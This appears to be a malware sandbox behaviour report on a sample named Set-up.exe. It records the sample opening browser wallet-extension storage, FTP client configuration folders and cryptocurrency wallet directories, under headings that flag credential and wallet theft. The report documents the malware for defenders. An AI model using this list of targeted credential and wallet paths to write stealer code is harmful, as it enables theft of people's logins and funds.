Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnefghmjgbmpkjjfhefnenfnejdjneog	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhilaheimglignddkjgofkcbgekhenbh	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcobl	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\llalnijpibhkmpdamakhgmcagghgmjab	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nebnhfamliijlghikdgcigoebonmoibm	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcbigmjiafegjnnogedioegffbooigli	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kfdniefadaanbjodldohaedphafoffoh	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddffflal	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibegklajigjlbljkhfpenpfoadebkokl	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdpelninpfbopdfbppfopcmoepikkgk	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\epapihdplajcdnnkdeiahlgigofloibg	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ebfidpplhabeedpnhjnobghokpiioolj	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fpcamiejgfmmhnhbcafmnefbijblinff	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default User\AppData\Roaming\Mozilla\Firefox\Profiles\Local State	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ldinpeekobnhjjdofggfgjlcehhmanlj	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bmikpgodpkclnkgmnpphehdgcimmided	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hjagdglgahihloifacmhaigjnkobnnih	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kglcipoddmbniebnibibkghfijekllbl	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ablbagjepecncofimgjmdpnhnfjiecfm	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gjhohodkpobnogbepojmopnaninookhj	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\apbldaphppcdfbdnnogdikheafliigcf	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnmbobjmhlngoefaiojfljckilhhlhcj	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nofkfblpeailgignhkbnapbephdnmbmn	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jngbikilcgcnfdbmnmnmnleeomffciml	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pdadjkfkgcafgbceimcpbkalnfnepbnk	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\odbfpeeihdkbihmopkbjmoonfanlbfcl	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mgffkfbidihjpoaomajlbgchddlicgpn	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gafhhkghbfjjkeiendhlofajokpaflmk	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\odpnjmimokcmjgojhnhfcnalnegdjmdn	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lnnnmfcpbkafcpgdilckhmhbkkbpkmid	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\eklfjjkfpbnioclagjlmklgkcfmgmbpg	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hmglflngjlhgibbmcedpdabjmcmboamo	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kmhcihpebfmpgmihbkipmjlmmioameka	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egdddjbjlcjckiejbbaneobkpgnmpknp	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\All Users\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default User\AppData\Roaming\Notepadu002Bu002B\plugins\config\NppFTP	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Public\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default\AppData\Roaming\Estsoft\ALFTP	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Public\AppData\Roaming\FTP Now	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\All Users\AppData\Roaming\Notepadu002Bu002B\plugins\config\NppFTP	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default User\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default\AppData\Roaming\FTPBox	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\All Users\AppData\Roaming\Estsoft\ALFTP	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Roaming\BlazeFtp	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default User\AppData\Roaming\Estsoft\ALFTP	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\All Users\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\All Users\AppData\Roaming\FTPBox	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default User\AppData\Roaming\FTPBox	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default\AppData\Local\INSoftware\NovaFTP	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Roaming\BitKinex	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Roaming\Estsoft\ALFTP	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Public\AppData\Roaming\Estsoft\ALFTP	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\All Users\AppData\Roaming\FTP Now	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default\AppData\Roaming\Notepadu002Bu002B\plugins\config\NppFTP	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Public\AppData\Local\INSoftware\NovaFTP	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\All Users\AppData\Roaming\BlazeFtp	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default\AppData\Roaming\GHISLER	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default User\AppData\Roaming\GHISLER	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Program Files (x86)\GoFTP\settings	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\All Users\AppData\Local\INSoftware\NovaFTP	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\All Users\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default User\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default\AppData\Roaming\FTP Now	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Public\AppData\Roaming\Notepadu002Bu002B\plugins\config\NppFTP	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Public\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default\AppData\Roaming\BitKinex	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Roaming\Notepadu002Bu002B\plugins\config\NppFTP	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default User\AppData\Roaming\BlazeFtp	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\All Users\AppData\Roaming\UltraFXP	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Public\AppData\Roaming\UltraFXP	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\All Users\AppData\Roaming\GHISLER	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Roaming\FTPBox	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Roaming\UltraFXP	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default\AppData\Roaming\BlazeFtp	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default\AppData\Roaming\UltraFXP	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Public\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default User\AppData\Roaming\FTP Now	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Public\AppData\Roaming\BitKinex	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\All Users\AppData\Roaming\BitKinex	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Public\AppData\Roaming\FTPBox	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default User\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default User\AppData\Roaming\BitKinex	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Roaming\FTP Now	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Public\AppData\Roaming\GHISLER	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Program Files (x86)\DeluxeFTP	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default User\AppData\Local\INSoftware\NovaFTP	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default User\AppData\Roaming\UltraFXP	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Public\AppData\Roaming\BlazeFtp	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\INSoftware\NovaFTP	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Roaming\GHISLER	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\All Users\AppData\Roaming\Guarda\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default\AppData\Roaming\Guarda\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default User\AppData\Roaming\Guarda\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Public\AppData\Roaming\Guarda\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\All Users\AppData\Roaming\WalletWasabi\Client\Wallets	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default\AppData\Roaming\WalletWasabi\Client\Wallets	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default User\AppData\Roaming\WalletWasabi\Client\Wallets	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Roaming\WalletWasabi\Client\Wallets	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Public\AppData\Roaming\WalletWasabi\Client\Wallets	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\All Users\AppData\Roaming\Armory	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default\AppData\Roaming\Armory	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default User\AppData\Roaming\Armory	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Roaming\Armory	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Public\AppData\Roaming\Armory	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\All Users\AppData\Roaming\DashCore\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default\AppData\Roaming\DashCore\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default User\AppData\Roaming\DashCore\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Roaming\DashCore\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Public\AppData\Roaming\DashCore\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\All Users\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default User\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Public\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\All Users\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default User\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Public\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\All Users\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default User\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Public\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\All Users\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default User\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Public\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\All Users\AppData\Roaming\Exodus	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default\AppData\Roaming\Exodus	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default User\AppData\Roaming\Exodus	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Roaming\Exodus	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Public\AppData\Roaming\Exodus	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\All Users\AppData\Roaming\BBQCoin	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default\AppData\Roaming\BBQCoin	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default User\AppData\Roaming\BBQCoin	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Roaming\BBQCoin	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Public\AppData\Roaming\BBQCoin	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\All Users\AppData\Roaming\Megacoin	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default\AppData\Roaming\Megacoin	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default User\AppData\Roaming\Megacoin	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Roaming\Megacoin	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Public\AppData\Roaming\Megacoin	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\All Users\AppData\Roaming\Mincoin	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default\AppData\Roaming\Mincoin	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default User\AppData\Roaming\Mincoin	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Roaming\Mincoin	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Public\AppData\Roaming\Mincoin	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\All Users\AppData\Roaming\Namecoin	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default\AppData\Roaming\Namecoin	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default User\AppData\Roaming\Namecoin	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Roaming\Namecoin	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Public\AppData\Roaming\Namecoin	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\All Users\AppData\Roaming\Primecoin	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default\AppData\Roaming\Primecoin	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default User\AppData\Roaming\Primecoin	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Roaming\Primecoin	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Public\AppData\Roaming\Primecoin	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\All Users\AppData\Roaming\Terracoin	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default\AppData\Roaming\Terracoin	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default User\AppData\Roaming\Terracoin	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Roaming\Terracoin	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Public\AppData\Roaming\Terracoin	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\All Users\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default User\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Public\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\All Users\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Default User\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\Public\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
